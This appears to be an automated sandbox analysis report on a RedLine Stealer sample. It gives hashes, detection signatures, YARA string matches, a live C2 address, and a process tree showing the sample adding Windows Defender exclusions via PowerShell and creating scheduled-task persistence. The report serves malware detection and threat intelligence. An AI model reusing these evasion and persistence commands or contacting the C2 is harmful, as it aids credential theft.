Edit tour

Windows Analysis Report
RgIbrhxoEx.exe

Overview

General Information

Sample name:	RgIbrhxoEx.exe renamed because original name is a hash value
Original sample name:	304ea6d5cf3786d19de14f004d7d057a.exe
Analysis ID:	1483367
MD5:	304ea6d5cf3786d19de14f004d7d057a
SHA1:	d86ddb3becc0a82c915be35e7a7dcd796b50c269
SHA256:	89dd158d0ffdb6d661672343d36f5a87907e1cc60a0e9e85c892f75228eb399b
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected RedLine Stealer

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

RgIbrhxoEx.exe (PID: 5440 cmdline: "C:\Users\user\Desktop\RgIbrhxoEx.exe" MD5: 304EA6D5CF3786D19DE14F004D7D057A)

powershell.exe (PID: 5532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2436 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7204 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 5656 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RgIbrhxoEx.exe (PID: 3620 cmdline: "C:\Users\user\Desktop\RgIbrhxoEx.exe" MD5: 304EA6D5CF3786D19DE14F004D7D057A)

conhost.exe (PID: 5504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LjGABleGAy.exe (PID: 1880 cmdline: C:\Users\user\AppData\Roaming\LjGABleGAy.exe MD5: 304EA6D5CF3786D19DE14F004D7D057A)

schtasks.exe (PID: 7388 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LjGABleGAy.exe (PID: 7448 cmdline: "C:\Users\user\AppData\Roaming\LjGABleGAy.exe" MD5: 304EA6D5CF3786D19DE14F004D7D057A)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.222.57.151:55615"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x1430a:$a4: get_ScannedWallets 0x2c12a:$a4: get_ScannedWallets 0x43d4a:$a4: get_ScannedWallets 0x13168:$a5: get_ScanTelegram 0x2af88:$a5: get_ScanTelegram 0x42ba8:$a5: get_ScanTelegram 0x13f8e:$a6: get_ScanGeckoBrowsersPaths 0x2bdae:$a6: get_ScanGeckoBrowsersPaths 0x439ce:$a6: get_ScanGeckoBrowsersPaths 0x11daa:$a7: <Processes>k__BackingField 0x29bca:$a7: <Processes>k__BackingField 0x417ea:$a7: <Processes>k__BackingField 0xfcbc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x27adc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f6fc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x116de:$a9: <ScanFTP>k__BackingField 0x294fe:$a9: <ScanFTP>k__BackingField 0x4111e:$a9: <ScanFTP>k__BackingField
0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13bea:$a4: get_ScannedWallets 0x2ba0a:$a4: get_ScannedWallets 0x4362a:$a4: get_ScannedWallets 0x12a48:$a5: get_ScanTelegram 0x2a868:$a5: get_ScanTelegram 0x42488:$a5: get_ScanTelegram 0x1386e:$a6: get_ScanGeckoBrowsersPaths 0x2b68e:$a6: get_ScanGeckoBrowsersPaths 0x432ae:$a6: get_ScanGeckoBrowsersPaths 0x1168a:$a7: <Processes>k__BackingField 0x294aa:$a7: <Processes>k__BackingField 0x410ca:$a7: <Processes>k__BackingField 0xf59c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x273bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3efdc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10fbe:$a9: <ScanFTP>k__BackingField 0x28dde:$a9: <ScanFTP>k__BackingField 0x409fe:$a9: <ScanFTP>k__BackingField
Process Memory Space: RgIbrhxoEx.exe PID: 5440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RgIbrhxoEx.exe PID: 5440	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RgIbrhxoEx.exe PID: 5440	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RgIbrhxoEx.exe PID: 5440	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x8a306:$a4: get_ScannedWallets 0x891ad:$a5: get_ScanTelegram 0x89f8f:$a6: get_ScanGeckoBrowsersPaths 0x87e40:$a7: <Processes>k__BackingField 0x85373:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x87774:$a9: <ScanFTP>k__BackingField
Process Memory Space: RgIbrhxoEx.exe PID: 3620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RgIbrhxoEx.exe PID: 3620	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RgIbrhxoEx.exe PID: 3620	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x524fb7:$a4: get_ScannedWallets 0x523e5e:$a5: get_ScanTelegram 0x524c40:$a6: get_ScanGeckoBrowsersPaths 0x522af1:$a7: <Processes>k__BackingField 0x520024:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x522425:$a9: <ScanFTP>k__BackingField
Process Memory Space: LjGABleGAy.exe PID: 1880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LjGABleGAy.exe PID: 1880	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: LjGABleGAy.exe PID: 1880	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: LjGABleGAy.exe PID: 1880	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x504f2:$a4: get_ScannedWallets 0x4f399:$a5: get_ScanTelegram 0x5017b:$a6: get_ScanGeckoBrowsersPaths 0x4e02c:$a7: <Processes>k__BackingField 0x4b55f:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x4d960:$a9: <ScanFTP>k__BackingField
Process Memory Space: LjGABleGAy.exe PID: 7448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LjGABleGAy.exe PID: 7448	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.RgIbrhxoEx.exe.3e22b60.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e22b60.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e22b60.3.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.RgIbrhxoEx.exe.3e22b60.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ee:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cf:$v2_6: GetUpdates
10.2.LjGABleGAy.exe.4263440.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.LjGABleGAy.exe.4263440.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.LjGABleGAy.exe.4263440.1.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
10.2.LjGABleGAy.exe.4263440.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ee:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cf:$v2_6: GetUpdates
0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ee:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cf:$v2_6: GetUpdates
10.2.LjGABleGAy.exe.424b620.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.LjGABleGAy.exe.424b620.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.LjGABleGAy.exe.424b620.3.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
10.2.LjGABleGAy.exe.424b620.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ee:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cf:$v2_6: GetUpdates
8.2.RgIbrhxoEx.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.RgIbrhxoEx.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
8.2.RgIbrhxoEx.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
8.2.RgIbrhxoEx.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates
10.2.LjGABleGAy.exe.4263440.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.LjGABleGAy.exe.4263440.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.LjGABleGAy.exe.4263440.1.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
10.2.LjGABleGAy.exe.4263440.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
10.2.LjGABleGAy.exe.424b620.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.LjGABleGAy.exe.424b620.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.LjGABleGAy.exe.424b620.3.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
10.2.LjGABleGAy.exe.424b620.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

